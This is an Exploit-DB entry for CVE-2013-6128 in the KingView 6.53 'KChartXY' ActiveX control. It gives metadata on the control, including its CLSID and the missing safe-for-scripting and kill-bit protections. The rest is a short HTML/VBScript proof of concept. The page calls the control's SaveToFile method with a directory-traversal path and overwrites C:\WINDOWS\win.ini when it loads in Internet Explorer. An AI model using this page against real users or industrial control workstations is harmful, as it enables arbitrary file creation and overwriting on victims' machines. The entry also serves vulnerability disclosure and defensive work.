KingView 6.53 - 'KChartXY' ActiveX File Creation / Overwrite

Author: blake
type: local
platform: windows
port: 
date_added: 2013-09-04  
date_updated: 2013-09-05  
verified: 1  
codes: OSVDB-97014;CVE-2013-6128  
tags:   
aliases:   
screenshot_url:   
application_url: http://www.exploit-db.comKingView6.53_EN.zip  

raw file: 28085.html  
<!--
KingView ActiveX Control (KChartXY) Remote File Creation / Overwrite
Vendor: http://www.wellintech.com
Version: KingView 6.53
Tested on: Windows XP SP3 / IE
Download: http://www.wellintech.com/documents/KingView6.53_EN.zip
Author: Blake

CLSID: A9A2011A-1E02-4242-AAE0-B239A6F88BAC
ProgId: KCHARTXYLib.KChartXY
Path: C:\Program Files\KingView\KChartXY.ocx
MemberName: SaveToFile
Safe for scripting: False
Safe for init: False
Kill Bit: False
IObject safety not implemented

Description: Proof of concept overwrites the win.ini file
-->
<html>
<object classid='clsid:A9A2011A-1E02-4242-AAE0-B239A6F88BAC' id='target' ></object>
<script language='vbscript'>

arg1="..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\WINDOWS\win.ini"

target.SaveToFile arg1

</script>